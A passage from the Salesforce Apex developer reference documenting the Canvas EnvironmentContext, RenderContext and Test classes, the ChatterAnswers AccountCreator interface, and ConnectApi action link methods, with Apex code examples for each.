The object field name that you need to add to the list of returned fields., Using ‘*’ adds all fields that the user has permission to view.
Return Value
Type: Void
Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developer’s Guide for more information on the Record object.
Use addEntityField() to add a field to the list of object fields that are returned in the signed request Record object. By default
the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by calling
addEntityField('*').
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().
Example
This example adds the Name and BillingAddress fields to the list of object fields. This example assumes the canvas app will appear in a
Visualforce page that’s associated with the Account page layout.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Add Name and BillingAddress to fields (assumes we'll run from the Account detail page)
env.addEntityField('Name');
env.addEntityField('BillingAddress');
791
EnvironmentContext InterfaceReference
addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page that’s placed on an object.
Signature
public void addEntityFields(Set<String> fieldNames)
Parameters
fieldNames
Type: SET<String>
The set of object field names that you need to add to the list of returned fields. If an item in the set is ‘*’, all fields that the user has
permission to view are added.
Return Value
Type: Void
Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developer’s Guide for more information on the Record object.
Use addEntityFields() to add a set of one or more fields to the list of object fields that are returned in the signed request Record
object. By default the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by adding
a set that includes ‘*’ as one of the strings.
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().
Example
This example adds the Name, BillingAddress, and YearStarted fields to the list of object fields. This example assumes that the canvas app
will appear in a Visualforce page that’s associated with the Account page layout.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Add Name, BillingAddress and YearStarted to fields (assumes we'll run from the Account
detail page)
Set<String> fields = new Set<String>{'Name','BillingAddress','YearStarted'};
env.addEntityFields(fields);
getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.
Signature
public String getDisplayLocation()
792
EnvironmentContext InterfaceReference
Return Value
Type: String
The return value can be one of the following strings:
•Chatter—The canvas app was called from the Chatter tab.
•ChatterFeed—The canvas app was called from a Chatter canvas feed item.
•MobileNav—The canvas app was called from the navigation menu in Salesforce1.
•OpenCTI—The canvas app was called from an Open CTI component.
•PageLayout—The canvas app was called from an element within a page layout. If the displayLocation is PageLayout, one of the
subLocation values might be returned.
•Publisher—The canvas app was called from a canvas custom quick action.
•ServiceDesk—The canvas app was called from a Salesforce Console component.
•Visualforce—The canvas app was called from a Visualforce page.
•None—The canvas app was called from the Canvas App Previewer.
Usage
Use this method to obtain the display location for the canvas app.
getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page that’s placed on an object.
Signature
public List<String> getEntityFields()
Return Value
Type: LIST<String>
Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developer’s Guide for more information on the Record object.
Use getEntityFields() to retrieve the list of object fields that are returned in the signed request Record object. By default the list of fields
includes ID. The list of fields can be configured by using the Canvas.EnvironmentContext.addEntityField(fieldName) or
Canvas.EnvironmentContext.addEntityFields(fieldNames) methods.
Example
This example gets the current list of object fields and retrieves each item in the list, printing each field name to the debug log.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
List<String> entityFields = env.getEntityFields();
793
EnvironmentContext InterfaceReference
for (String fieldVal : entityFields) {
System.debug('Environment Context entityField: ' + fieldVal);
}
If the canvas app that’s using this lifecycle code was run from the detail page of an Account, the debug log output might look like:
Environment Context entityField: Id
getLocationUrl()
Retrieves the location URL of the canvas app.
Signature
public String getLocationUrl()
Return Value
Type: String
Usage
Use this method to obtain the URL of the page where the user accessed the canvas app. For example, if the user accessed your app by
clicking a link on the Chatter tab, this method returns the URL of the Chatter tab, which would be similar to
‘https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage’.
getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.
Signature
public String getParametersAsJSON()
Return Value
Type: String
Usage
Use this method to get the current custom parameters for the canvas app. The parameters are returned in a JSON string that can be
de-serialized by using the System.JSON.deserializeUntyped(jsonString) method.
Custom parameters can be modified by using the Canvas.EnvironmentContext.setParametersAsJSON(jsonString) string.
Example
This example gets the current custom parameters, de-serializes them into a map, and prints the results to the debug log.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Get current custom params
794
EnvironmentContext InterfaceReference
Map<String,Object> currentParams =
(Map<String,Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
System.debug('Environment Context custom paramters: ' + currentParams);
getSublocation()
Retrieves the display sublocation where the canvas app is being called from.
Signature
public String getSublocation()
Return Value
Type: String
The return value can be one of the following strings:
•S1MobileCardFullview—The canvas app was called from a mobile card.
•S1MobileCardPreview—The canvas app was called from a mobile card preview. The user must click the preview to open the app.
•S1RecordHomePreview—The canvas app was called from a record detail page preview. The user must click the preview to open
the app.
•S1RecordHomeFullview—The canvas app was called from a page layout.
Usage
Use this method to obtain the display sublocation for the canvas app. Use only if the primary display location can be displayed on mobile
devices.
setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.
Signature
public void setParametersAsJSON(String jsonString)
Parameters
jsonString
Type: String
The custom parameters that you need to set, serialized into a JSON format string.
Return Value
Type: Void
Usage
Use this method to set the current custom parameters for the canvas app. The parameters must be provided in a JSON string. You can
use the System.JSON.serialize(objectToSerialize) method to serialize a map into a JSON string.
795
EnvironmentContext InterfaceReference
Setting the custom parameters will overwrite the custom parameters that are set for the current request. If you need to modify the
current custom parameters, first get the current set of custom parameters by using getParametersAsJSON(), modify the retrieved
parameter set as needed, and then use this modified set in your call to setParametersAsJSON().
If the provided JSON string exceeds 32KB, a System.CanvasException will be thrown.
Example
This example gets the current custom parameters, adds a new newCustomParam parameter with a value of ‘TESTVALUE’, and sets
the current custom parameters.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Get current custom params
Map<String,Object> previousParams =
(Map<String,Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
// Add a new custom param
previousParams.put('newCustomParam','TESTVALUE');
// Now replace the parameters with the current parameters plus our new custom param
env.setParametersAsJSON(JSON.serialize(previousParams));
RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.
Namespace
Canvas
Usage
Use this interface to retrieve application and environment context information for your canvas app. For this interface, you don’t need to
create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
RenderContext Methods
RenderContext Methods
The following are methods for RenderContext.
IN THIS SECTION:
getApplicationContext()
Retrieves the application context information.
getEnvironmentContext()
Retrieves the environment context information.
796
RenderContext InterfaceReference
getApplicationContext()
Retrieves the application context information.
Signature
public Canvas.ApplicationContext getApplicationContext()
Return Value
Type: Canvas.ApplicationContext
Usage
Use this method to get the application context information for your canvas app.
Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the application context information and then checks the namespace, version, and app URL.
public void onRender(Canvas.RenderContext renderContext){
Canvas.ApplicationContext app = renderContext.getApplicationContext();
if (!'MyNamespace'.equals(app.getNamespace())){
// This application is installed, add code as needed
...
}
// Check the application version
Double currentVersion = Double.valueOf(app.getVersion());
if (currentVersion <= 5){
// Add version specific code as needed
...
// Tell the canvas application to operate in deprecated mode
app.setCanvasUrlPath('/canvas?deprecated=true');
}
}
getEnvironmentContext()
Retrieves the environment context information.
Signature
public Canvas.EnvironmentContext getEnvironmentContext()
Return Value
Type: Canvas.EnvironmentContext
797
RenderContext InterfaceReference
Usage
Use this method to get the environment context information for your canvas app.
Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the environment context information and then modifies the custom parameters.
public void onRender(Canvas.RenderContext renderContext) {
Canvas.EnvironmentContext env =
renderContext.getEnvironmentContext();
// Retrieve the custom params
Map<String,Object> previousParams = (Map<String,Object>)
JSON.deserializeUntyped(env.getParametersAsJSON());
previousParams.put('param1',1);
previousParams.put('param2',3.14159);
...
// Now, add in some opportunity record IDs
Opportunity[] o = [select id, name from opportunity];
previousParams.put('opportunities',o);
// Now, replace the parameters
env.setParametersAsJSON(JSON.serialize(previousParams));
}
Test Class
Contains methods for automated testing of your Canvas classes.
Namespace
Canvas
Usage
Use this class to test your implementation of Canvas.CanvasLifecycleHandler with mock test data. You can create a test
Canvas.RenderContext with mock application and environment context data and use this data to verify that your CanvasLifecycleHandler
is being invoked correctly.
IN THIS SECTION:
Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.
798
Test ClassReference
Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
When you call Canvas.Test.mockRenderContext(applicationContextTestValues,
environmentContextTestValues), you need to provide maps of key-value pairs to represent your mock application and
environment context data. The Test class provides static constant strings that you can use as keys for various parts of the application
and environment context.
DescriptionConstant
Represents the canvas app URL key in the ApplicationContext.KEY_CANVAS_URL
Represents the canvas app developer or API name key in the ApplicationContext.KEY_DEVELOPER_NAME
Represents the canvas app display location key in the EnvironmentContext.KEY_DISPLAY_LOCATION
Represents the canvas app location URL key in the EnvironmentContext.KEY_LOCATION_URL
Represents the canvas app name key in the ApplicationContext.KEY_NAME
Represents the canvas app namespace key in the ApplicationContext.KEY_NAMESPACE
Represents the canvas app sublocation key in the EnvironmentContext.KEY_SUB_LOCATION
Represents the canvas app version key in the ApplicationContext.KEY_VERSION
Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.
The following are methods for Test. All are static methods.
IN THIS SECTION:
mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.
testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.
mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.
Signature
public static Canvas.RenderContext mockRenderContext(Map<String,String>
applicationContextTestValues, Map<String,String> environmentContextTestValues)
Parameters
applicationContextTestValues
Type: Map<String,String>
799
Test ClassReference
Specifies a map of key-value pairs that provide mock application context data. Use constants that are provided by Canvas.Test as
keys. If null is provided for this parameter, the canvas framework will generate some default mock application context values.
environmentContextTestValues
Type: Map<String,String>
Specifies a map of key-value pairs that provide mock environment context data. Use constants provided by Canvas.Test as keys. If
null is provided for this parameter, the canvas framework will generate some default mock environment context values.
Return Value
Type: Canvas.RenderContext
Usage
Use this method to create a mock Canvas.RenderContext. Use the returned RenderContext in calls to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext) for testing
Canvas.CanvasLifecycleHandler implementations.
Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext can be used in a call to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext).
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
Map<String,String> envValues = new Map<String,String>();
envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);
testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.
Signature
public static Void testCanvasLifecycle(Canvas.CanvasLifecycleHandler
lifecycleHandler,Canvas.RenderContext mockRenderContext)
Parameters
lifecycleHandler
Type: Canvas.CanvasLifecycleHandler
Specifies the CanvasLifecycleHandler implementation that you need to invoke.
mockRenderContext
Type: Canvas.RenderContext
800
Test ClassReference
Specifies the RenderContext information that you need to provide to the invoked CanvasLifecycleHandler. If null is provided for
this parameter, the canvas framework will generate and use a default mock RenderContext.
Return Value
Type: Void
Usage
Use this method to invoke an implementation of Canvas.CanvasLifecycleHandler.onRender(renderContext) with a mock
Canvas.RenderContext that you provide.
Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext is then used to invoke a Canvas.CanvasLifecycleHandler.
// Set some application context data in a Map
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
// Set some environment context data in a MAp
Map<String,String> envValues = new Map<String,String>();
envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
// Create a mock RenderContext using the test application and environment context data
Maps
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);
// Set some custom params on the mock RenderContext
mock.getEnvironmentContext().setParametersAsJSON('{\"param1\":1,\"boolParam\":true,\"stringParam\":\"test
string\"}');
// Use the mock RenderContext to invoke a CanvasLifecycleHandler
Canvas.Test.testCanvasLifecycle(handler,mock)
Canvas Exceptions
The Canvas namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Canvas namespace contains this exception:
DescriptionException
Use this class in your implementation of
Canvas.CanvasLifecycleHandler.onRender(renderContext). To show
Canvas.CanvasRenderException
an error to the user in your onRender() implementation, throw a
Canvas.CanvasRenderException, and the canvas framework will
801
Canvas ExceptionsReference
DescriptionException
render the error message to the user. This exception will be managed only
within the onRender() method.
Example
The following example implementation of onRender() catches a CanvasException that was thrown because a canvas URL was set
with a string that exceeded the maximum length. A CanvasRenderException is created and thrown to display the error to the user.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler {
public void onRender(Canvas.RenderContext renderContext) {
Canvas.ApplicationContext app = renderContext.getApplicationContext();
// Code to generate a URL string that is too long
// ...
// Try to set the canvas app URL using the invalid URL string
try {
app.setCanvasUrlPath(aUrlPathThatIsTooLong);
}catch (CanvasException e) {
// Display error to user by throwing a new CanvasRenderException
throw new Canvas.CanvasRenderException(e.getMessage());
}
}
}
See the Force.com Canvas Developer’s Guide for additional examples that use CanvasRenderException.
ChatterAnswers Namespace
The ChatterAnswers namespace provides an interface for creating Account records.
The following is the interface in the ChatterAnswers namespace.
IN THIS SECTION:
AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.
AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.
Namespace
ChatterAnswers
802
ChatterAnswers NamespaceReference
Usage
The ChatterAnswers.AccountCreator is specified in the registrationClassName attribute of a
chatteranswers:registration Visualforce component. This interface is called by Chatter Answers and allows for custom
creation of Account records used for portal users.
To implement the ChatterAnswers.AccountCreator interface, you must first declare a class with the implements
keyword as follows:
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {
Next, your class must provide an implementation for the following method:
public String createAccount(String firstname, String lastname, Id siteAdminId) {
// Your code here
}
The implemented method must be declared as global or public.
IN THIS SECTION:
AccountCreator Methods
AccountCreator Example Implementation
AccountCreator Methods
The following are methods for AccountCreator.
IN THIS SECTION:
createAccount(firstName, lastName, siteAdminId)
Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.
createAccount(firstName, lastName, siteAdminId)
Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.
Signature
public String createAccount(String firstName, String lastName, Id siteAdminId)
Parameters
firstName
Type: String
The first name of the user who is registering.
lastName
Type: String
The last name of the user who is registering.
siteAdminId
Type: ID
803
AccountCreator InterfaceReference
The user ID of the Site administrator, used for notification if any exceptions occur.
Return Value
Type: String
AccountCreator Example Implementation
This is an example implementation of the ChatterAnswers.AccountCreator interface. The createAccount method
implementation accepts user information and creates an Account record. The method returns a String value for the Account ID.
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {
public String createAccount(String firstname, String lastname, Id siteAdminId) {
Account a = new Account(name = firstname + ''+ lastname, ownerId = siteAdminId);
insert a;
return a.Id;
}
}
This example tests the code above.
@isTest
private class ChatterAnswersCreateAccountTest {
static testMethod void validateAccountCreation() {
User[] user = [SELECT Id, Firstname, Lastname from User];
if (user.size() == 0) { return; }
String firstName = user[0].FirstName;
String lastName = user[0].LastName;
String userId = user[0].Id;
String accountId = new ChatterAnswersRegistration().createAccount(firstName,
lastName, userId);
Account acct = [SELECT name, ownerId from Account where Id =: accountId];
System.assertEquals(firstName + ''+ lastName, acct.name);
System.assertEquals(userId, acct.ownerId);
}
}
ConnectApi Namespace
The ConnectApi namespace (also called Chatter in Apex) provides classes for accessing the same data available in Chatter REST API.
Use Chatter in Apex to create custom Chatter experiences in Salesforce.
For information about working with the ConnectApi classes, see Chatter in Apex on page 294.
IN THIS SECTION:
ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.
Announcements Class
Access information about announcements and post announcements.
804
ConnectApi NamespaceReference
Chatter Class
Access information about followers and subscriptions for records.
ChatterFavorites Class
Chatter favorites give you easy access to topics, list views, and feed searches.
ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and
vote on polls.
ChatterGroups Class
Information about groups, such as the group’s members, photo, and the groups the specified user is a member of. Add members
to a group, remove members, and change the group photo.
ChatterMessages Class
Access and modify message and conversation data.
ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.
Communities Class
Access general information about communities in your organization.
CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.
ContentHub Class
Access repositories and their files and folders.
Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
EmailMergeFieldService Class
Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom
link, or formula to incorporate values from a record.
ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.
Knowledge Class
Access information about trending articles in communities.
ManagedTopics Class
Access information about managed topics in a community. Create, delete, and reorder managed topics.
Mentions Class
Access information about mentions. A mention is an “@” character followed by a user or group name. When a user or group is
mentioned, they receive a notification.
Organization Class
Access information about an organization.
QuestionAndAnswers Class
Access question and answers suggestions.
805
ConnectApi NamespaceReference
Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.
Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.
SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.
Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information
about groups contributing to the topic. Update a topic’s name or description, merge topics, and add and remove topics from records
and feed items.
UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes
user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps,
which are custom tabs on the profile page.
Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.
ConnectApi Input Classes
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
ConnectApi Output Classes
Most ConnectApi methods return instances of ConnectApi output classes.
ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.
Namespace
ConnectApi
Usage
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
806
ActionLinks ClassReference
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes potentially
sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the values reflect
the state of the context user.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
call must have created the definition or have “View All Data” permission. Use these methods to operate on action link group definitions
(which contain action link definitions):
•createActionLinkGroupDefinition(communityId, actionLinkGroup)
•deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
•getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Use these methods to operate on a context user’s view of an action link or an action link group:
•getActionLink(communityId, actionLinkId)
•getActionLinkGroup(communityId, actionLinkGroupId)
•getActionLinkDiagnosticInfo(communityId, actionLinkId)
For information about how to use action links, see Working with Action Links.
ActionLinks Methods
The following are methods for ActionLinks. All methods are static.
IN THIS SECTION:
createActionLinkGroupDefinition(communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.
getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access
the action link.
getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.
getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.
createActionLinkGroupDefinition(communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.
API Version
33.0
807
ActionLinks ClassReference
Requires Chatter
No
Signature
public static ConnectApi.ActionLinkGroupDefinition createActionLinkGroupDefinition(String
communityId, ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroup)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkGroup
Type: ConnectApi.ActionLinkGroupDefinitionInput
A ConnectApi.ActionLinkGroupDefinitionInput object that defines the action link group.
Return Value
Type: ConnectApi.ActionLinkGroupDefinition
Usage
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone
actions in their own action group.
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have “View All Data” permission.
Note: Invoking ApiAsync action links from an app requires a call to set the status. However, there isn’t currently a way to set
the status of an action link using Apex. To set the status, use Chatter REST API. See the Action Link resource in the Chatter REST API
Developer Guide for more information.
Example for Defining an Action Link and Posting with a Feed Element
For more information about this example, see Define an Action Link and Post with a Feed Element.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();
// Create the action link group definition.
808
ActionLinks ClassReference
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);
requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
809
ActionLinks ClassReference
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Example for Defining an Action Link in a Template and Posting with a Feed Element
For more information about this example, see Define an Action Link in a Template and Post with a Feed Element.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String,String> bindingMap = new Map<String,String>();
bindingMap.put('ApiVersion','v33.0');
bindingMap.put('Text','This post was created by an API action link.');
bindingMap.put('SubjectId','me');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
810
ActionLinks ClassReference
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define an associated actions capability to hold the action link
group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.
API Version
33.0
